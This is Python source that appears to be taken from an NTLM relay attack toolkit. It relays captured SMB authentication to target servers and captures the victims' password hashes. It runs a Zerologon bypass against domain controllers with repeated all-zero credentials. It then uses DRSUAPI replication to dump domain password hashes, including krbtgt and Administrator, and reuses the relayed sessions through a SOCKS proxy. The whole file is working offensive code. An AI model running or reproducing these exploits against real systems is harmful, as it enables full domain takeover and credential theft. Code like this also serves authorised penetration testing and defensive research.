request['LogonServer'] = '\x00' request['ComputerName'] = serverName + '\x00' request[ 'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 request[ 'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation'][ 'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'LogonDomainName'] = domainName request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'ParameterControl'] = 0 request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'UserName'] = authenticateMessage['user_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'Workstation'] = '' request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallenge'] = self.serverChallenge request['LogonInformation']['LogonNetworkTransitive'][ 'NtChallengeResponse'] = authenticateMessage['ntlm'] request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallengeResponse'] = authenticateMessage['lanman'] authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential( clientStoredCredential, sessionKey) authenticator['Timestamp'] = 10 request['Authenticator'] = authenticator request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 request['ReturnAuthenticator']['Timestamp'] = 0 request['ExtraFlags'] = 0 # request.dump() try: resp = dce.request(request) # resp.dump() except DCERPCException as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) return e.get_error_code() logging.info( "%s\\%s successfully validated through NETLOGON" % (domainName, authenticateMessage['user_name'].decode('utf-16le'))) encryptedSessionKey = authenticateMessage['session_key'] if encryptedSessionKey != b'': signingKey = generateEncryptedSessionKey( resp['ValidationInformation']['ValidationSam4'] ['UserSessionKey'], encryptedSessionKey) else: signingKey = resp['ValidationInformation']['ValidationSam4'][ 'UserSessionKey'] logging.info("SMB Signing key: %s " % hexlify(signingKey).decode('utf-8')) return STATUS_SUCCESS, signingKey
def SmbSessionSetup(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) respSMBCommand = smb3.SMB2SessionSetup_Response() sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) connData['Capabilities'] = sessionSetupData['Capabilities'] securityBlob = sessionSetupData['Buffer'] rawNTLM = False if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(securityBlob) token = blob['MechToken'] if len(blob['MechTypes'][0]) > 0: # Is this GSSAPI NTLM or something else we don't support? mechType = blob['MechTypes'][0] if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \ mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']: # Nope, do we know it? if mechType in MechTypes: mechStr = MechTypes[mechType] else: mechStr = hexlify(mechType) smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) # We don't know the token, we answer back again saying # we just support NTLM. # ToDo: Build this into a SPNEGO_NegTokenResp() respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken return [respSMBCommand ], None, STATUS_MORE_PROCESSING_REQUIRED elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH: # AUTH packet blob = SPNEGO_NegTokenResp(securityBlob) token = blob['ResponseToken'] else: # No GSSAPI stuff, raw NTLMSSP rawNTLM = True token = securityBlob # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = connData['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client, token) except Exception as e: LOG.debug("Exception:", exc_info=True) # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server raise ############################################################# if rawNTLM is False: respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = b'\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() else: respToken = challengeMessage # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data connData['Uid'] = random.randint(1, 0xffffffff) connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x02: # CHALLENGE_MESSAGE raise Exception('Challenge Message raise, not implemented!') elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = connData['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': # For some attacks it is important to know the authenticated username, so we store it self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')) ).upper() if rawNTLM is True: respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = securityBlob securityBlob = respToken2.getData() clientResponse, errorCode = self.do_ntlm_auth( client, token, connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: #Log this target as processed for this client self.targetprocessor.logTarget(self.target) LOG.error( "Authenticating against %s://%s as %s\\%s FAILED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) client.killConnection() else: # We have a session, create a thread and do whatever we want LOG.critical( "Authenticating against %s://%s as %s\\%s SUCCEED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) connData['Authenticated'] = True self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = b'\x00' # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1] )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) auth_data = respToken2['ResponseToken'] else: auth_data = authenticateMessageBlob remoteOps = None try: signingkey = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob) # Something failed if signingkey == 0: return self.session.set_session_key(signingkey) authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(auth_data) # Recalc mic authenticateMessage['MIC'] = b'\x00' * 16 if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0: authenticateMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL newmic = ntlm.hmac_md5( signingkey, self.negotiateMessage + self.challenge.getData() + authenticateMessage.getData()) authenticateMessage['MIC'] = newmic self.session.sendBindType3(authenticateMessage.getData()) # Now perform DRS bind # This code comes from secretsdump directly request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \ drsuapi.DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = drsuapi.NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = drsuapi.NULLGUID # I'm uber potential (c) Ben drs['dwExtCaps'] = 0xffffffff request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(drs.getData()) resp = self.session.request(request) # Initialize remoteoperations if self.serverConfig.smbuser != '': smbConnection = SMBConnection(self.target.netloc, self.target.netloc) smbConnection.login(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \ self.serverConfig.smblmhash, self.serverConfig.smbnthash) remoteOps = RemoteOperations(smbConnection, False) else: remoteOps = PatchedRemoteOperations(None, False) # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * ( len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) drsExtensionsInt.fromString(ppextServer) if drsExtensionsInt['dwReplEpoch'] != 0: # Different epoch, we have to call DRSBind again LOG.debug( "DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt['dwReplEpoch']) drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(drs.getData()) resp = self.session.request(request) remoteOps._RemoteOperations__hDrs = resp['phDrs'] domainName = authenticateMessage['domain_name'].decode('utf-16le') # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges resp = drsuapi.hDRSDomainControllerInfo( self.session, remoteOps._RemoteOperations__hDrs, domainName, 2) # LOG.debug('DRSDomainControllerInfo() answer') # resp.dump() if resp['pmsgOut']['V2']['cItems'] > 0: remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp[ 'pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] else: LOG.error("Couldn't get DC info for domain %s" % domainName) raise Exception('Fatal, aborting') remoteOps._RemoteOperations__drsr = self.session # Initialize NTDSHashes object if self.serverConfig.smbuser != '': # We can dump all :) nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=None, printUserStatus=False) nh.dump() else: # Most important, krbtgt nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=domainName + '/krbtgt', printUserStatus=False) nh.dump() # Also important, DC hash (to sync fully) av_pairs = authenticateMessage['ntlm'][44:] av_pairs = AV_PAIRS(av_pairs) serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode( 'utf-16le') nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=domainName + '/' + serverName + '$', printUserStatus=False) nh.dump() # Finally, builtin\Administrator providing it was not renamed try: nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=domainName + '/Administrator', printUserStatus=False) nh.dump() except Exception: LOG.error('Could not dump administrator (renamed?)') return None, STATUS_SUCCESS except Exception as e: traceback.print_exc() finally: if remoteOps is not None: remoteOps.finish()
def netlogonSessionKey(self, challenge, authenticateMessageBlob): # Here we will use netlogon to get the signing session key LOG.info("Connecting to %s NETLOGON service" % self.target.netloc) respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(respToken2['ResponseToken']) domainName = authenticateMessage['domain_name'].decode('utf-16le') flags = authenticateMessage['flags'] try: av_pairs = authenticateMessage['ntlm'][44:] av_pairs = AV_PAIRS(av_pairs) serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') except: LOG.debug("Exception:", exc_info=True) # We're in NTLMv1, not supported return STATUS_ACCESS_DENIED binding = epm.hept_map(self.target.netloc, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') dce = transport.DCERPCTransportFactory(binding).get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) MAX_ATTEMPTS = 6000 for attempt in range(0, MAX_ATTEMPTS): resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00', b'\x00' * 8) serverChallenge = resp['ServerChallenge'] ppp = b'\x00' * 8 try: nrpc.hNetrServerAuthenticate3( dce, NULL, serverName + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, serverName + '\x00', ppp, 0x212effef) except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: continue else: LOG.error('Unexpected error code from DC: %d.', ex.get_error_code()) except BaseException as ex: LOG.error('Unexpected error: %s', str(ex)) LOG.info( 'Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!', attempt) break else: LOG.error( 'No success bypassing auth after 6000 attempts. Target likely patched!' ) return clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) # Now let's try to verify the security blob against the PDC lflags = unpack('<L', b'\xe0\x2a\x00\x00')[0] request = nrpc.NetrLogonSamLogonWithFlags() request['LogonServer'] = '\x00' request['ComputerName'] = serverName + '\x00' request[ 'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 request[ 'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation'][ 'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'LogonDomainName'] = domainName request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'ParameterControl'] = lflags request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'UserName'] = authenticateMessage['user_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'Workstation'] = '' request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallenge'] = challenge request['LogonInformation']['LogonNetworkTransitive'][ 'NtChallengeResponse'] = authenticateMessage['ntlm'] request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallengeResponse'] = authenticateMessage['lanman'] authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator[ 'Credential'] = b'\x00' * 8 #nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey) authenticator['Timestamp'] = 0 request['Authenticator'] = authenticator request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 request['ReturnAuthenticator']['Timestamp'] = 0 request['ExtraFlags'] = 0 #request.dump() try: resp = dce.request(request) #resp.dump() except DCERPCException as e: LOG.debug('Exception:', exc_info=True) LOG.error(str(e)) return e.get_error_code() LOG.info( "%s\\%s successfully validated through NETLOGON" % (domainName, authenticateMessage['user_name'].decode('utf-16le'))) encryptedSessionKey = authenticateMessage['session_key'] if encryptedSessionKey != '': signingKey = generateEncryptedSessionKey( resp['ValidationInformation']['ValidationSam4'] ['UserSessionKey'], encryptedSessionKey) else: signingKey = resp['ValidationInformation']['ValidationSam4'][ 'UserSessionKey'] LOG.info("NTLM Sign/seal key: %s " % hexlify(signingKey).decode('utf-8')) if flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: self.session._DCERPC_v5__clientSigningKey = ntlm.SIGNKEY( flags, signingKey) self.session._DCERPC_v5__serverSigningKey = ntlm.SIGNKEY( flags, signingKey, b"Server") self.session._DCERPC_v5__clientSealingKey = ntlm.SEALKEY( flags, signingKey) self.session._DCERPC_v5__serverSealingKey = ntlm.SEALKEY( flags, signingKey, b"Server") # Preparing the keys handle states cipher3 = ARC4.new(self.session._DCERPC_v5__clientSealingKey) self.session._DCERPC_v5__clientSealingHandle = cipher3.encrypt cipher4 = ARC4.new(self.session._DCERPC_v5__serverSealingKey) self.session._DCERPC_v5__serverSealingHandle = cipher4.encrypt else: # Same key for everything self.session._DCERPC_v5__clientSigningKey = signingKey self.session._DCERPC_v5__serverSigningKey = signingKey self.session._DCERPC_v5__clientSealingKey = signingKey self.session._DCERPC_v5__serverSealingKey = signingKey cipher = ARC4.new(self.session._DCERPC_v5__clientSigningKey) self.session._DCERPC_v5__clientSealingHandle = cipher.encrypt self.session._DCERPC_v5__serverSealingHandle = cipher.encrypt self.session._DCERPC_v5__sequence = 0 self.session._DCERPC_v5__flags = flags return signingKey
def processSessionSetup(self, recvPacket): if self.isSMB2 is False: respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) smbCommand = SMBCommand(recvPacket['Data'][0]) if smbCommand['WordCount'] == 12: respParameters = SMBSessionSetupAndX_Extended_Response_Parameters( ) respData = SMBSessionSetupAndX_Extended_Response_Data() # First of all, we should received a type 1 message. Let's answer it # NEGOTIATE_MESSAGE challengeMessage = self.sessionData['CHALLENGE_MESSAGE'] challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN) respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = str(challengeMessage) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters[ 'SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() respData['NativeOS'] = '' respData['NativeLanMan'] = '' respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp = NewSMBPacket() resp['Flags1'] = SMB.FLAGS1_REPLY resp['Flags2'] = SMB.FLAGS2_NT_STATUS resp['Pid'] = recvPacket['Pid'] resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Uid'] = 0 errorCode = STATUS_MORE_PROCESSING_REQUIRED resp['ErrorCode'] = errorCode >> 16 resp['ErrorClass'] = errorCode & 0xff resp.addCommand(respSMBCommand) self.__NBSession.send_packet(resp.getData()) recvPacket, smbCommand = self.getSMBPacket() sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters( smbCommand['Parameters']) sessionSetupData = SMBSessionSetupAndX_Extended_Data() sessionSetupData[ 'SecurityBlobLength'] = sessionSetupParameters[ 'SecurityBlobLength'] sessionSetupData.fromString(smbCommand['Data']) if unpack('B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp( sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit( sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Now we should've received a type 3 message authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(token) try: username = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')) ).upper() except UnicodeDecodeError: # Not Unicode encoded? username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper() # Check if we have a connection for the user if self.activeRelays.has_key(username): LOG.info('SOCKS: Proxying client session for %s@%s(445)' % (username, self.targetHost)) errorCode = STATUS_SUCCESS smbClient = self.activeRelays[username][ 'protocolClient'].session uid = smbClient.getSMBServer().get_uid() else: LOG.error('SOCKS: No session for %s@%s(445) available' % (username, self.targetHost)) errorCode = STATUS_ACCESS_DENIED uid = 0 smbClient = None resp = NewSMBPacket() resp['Flags1'] = recvPacket['Flags1'] | SMB.FLAGS1_REPLY resp['Flags2'] = recvPacket[ 'Flags2'] | SMB.FLAGS2_EXTENDED_SECURITY resp['Command'] = recvPacket['Command'] resp['Pid'] = recvPacket['Pid'] resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Uid'] = uid resp['ErrorCode'] = errorCode >> 16 resp['ErrorClass'] = errorCode & 0xff respData['NativeOS'] = '' respData['NativeLanMan'] = '' if uid == 0: resp['Data'] = '\x00\x00\x00' smbClient = None else: respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters[ 'SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp.addCommand(respSMBCommand) self.__NBSession.send_packet(resp.getData()) return smbClient, username else: LOG.error( 'SOCKS: Can\'t handle standard security at the moment!') return None else: respSMBCommand = SMB2SessionSetup_Response() sessionSetupData = SMB2SessionSetup(recvPacket['Data']) securityBlob = sessionSetupData['Buffer'] rawNTLM = False if unpack('B', securityBlob[0])[0] == ASN1_AID: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(securityBlob) token = blob['MechToken'] if len(blob['MechTypes'][0]) > 0: # Is this GSSAPI NTLM or something else we don't support? mechType = blob['MechTypes'][0] if mechType != TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider']: # Nope, do we know it? if MechTypes.has_key(mechType): mechStr = MechTypes[mechType] else: mechStr = hexlify(mechType) LOG.debug( "Unsupported MechType '%s', we just want NTLMSSP, answering" % mechStr) # We don't know the token, we answer back again saying # we just support NTLM. # ToDo: Build this into a SPNEGO_NegTokenResp() respToken = '\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken resp = SMB2Packet() resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR resp['Status'] = STATUS_SUCCESS resp['CreditRequestResponse'] = 1 resp['CreditCharge'] = recvPacket['CreditCharge'] resp['Command'] = recvPacket['Command'] resp['SessionID'] = 0 resp['Reserved'] = recvPacket['Reserved'] resp['MessageID'] = recvPacket['MessageID'] resp['TreeID'] = recvPacket['TreeID'] resp['Data'] = respSMBCommand self.__NBSession.send_packet(resp.getData()) recvPacket, smbCommand = self.getSMBPacket() return self.processSessionSetup(recvPacket) elif unpack('B', securityBlob[0])[0] == ASN1_SUPPORTED_MECH: # AUTH packet blob = SPNEGO_NegTokenResp(securityBlob) token = blob['ResponseToken'] else: # No GSSAPI stuff, raw NTLMSSP rawNTLM = True token = securityBlob # NEGOTIATE_MESSAGE # First of all, we should received a type 1 message. Let's answer it challengeMessage = self.sessionData['CHALLENGE_MESSAGE'] challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN) if rawNTLM is False: respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() else: respToken = challengeMessage resp = SMB2Packet() resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR resp['Status'] = STATUS_MORE_PROCESSING_REQUIRED resp['CreditRequestResponse'] = 1 resp['CreditCharge'] = recvPacket['CreditCharge'] resp['Command'] = recvPacket['Command'] resp['SessionID'] = 0 resp['Reserved'] = recvPacket['Reserved'] resp['MessageID'] = recvPacket['MessageID'] resp['TreeID'] = recvPacket['TreeID'] respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() resp['Data'] = respSMBCommand self.__NBSession.send_packet(resp.getData()) recvPacket, smbCommand = self.getSMBPacket() sessionSetupData = SMB2SessionSetup(recvPacket['Data']) securityBlob = sessionSetupData['Buffer'] blob = SPNEGO_NegTokenResp(securityBlob) token = blob['ResponseToken'] # AUTHENTICATE_MESSAGE, here we deal with authentication authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(token) try: username = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')) ).upper() except UnicodeDecodeError: # Not Unicode encoded? username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper() respToken = SPNEGO_NegTokenResp() # Check if we have a connection for the user if self.activeRelays.has_key(username): LOG.info('SOCKS: Proxying client session for %s@%s(445)' % (username, self.targetHost)) errorCode = STATUS_SUCCESS smbClient = self.activeRelays[username][ 'protocolClient'].session uid = smbClient.getSMBServer()._Session['SessionID'] else: LOG.error('SOCKS: No session for %s@%s(445) available' % (username, self.targetHost)) errorCode = STATUS_ACCESS_DENIED uid = 0 smbClient = None # accept-completed respToken['NegResult'] = '\x00' resp = SMB2Packet() resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR resp['Status'] = errorCode resp['CreditRequestResponse'] = 1 resp['CreditCharge'] = recvPacket['CreditCharge'] resp['Command'] = recvPacket['Command'] resp['SessionID'] = uid resp['Reserved'] = recvPacket['Reserved'] resp['MessageID'] = recvPacket['MessageID'] resp['TreeID'] = recvPacket['TreeID'] respSMBCommand['SecurityBufferOffset'] = 0x48 # This is important for SAMBA client to work. If it is not set as a guest session, # SAMBA will *not* like the fact that the packets are not signed (even tho it was not enforced). respSMBCommand['SessionFlags'] = SMB2_SESSION_FLAG_IS_GUEST respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() resp['Data'] = respSMBCommand self.__NBSession.send_packet(resp.getData()) return smbClient, username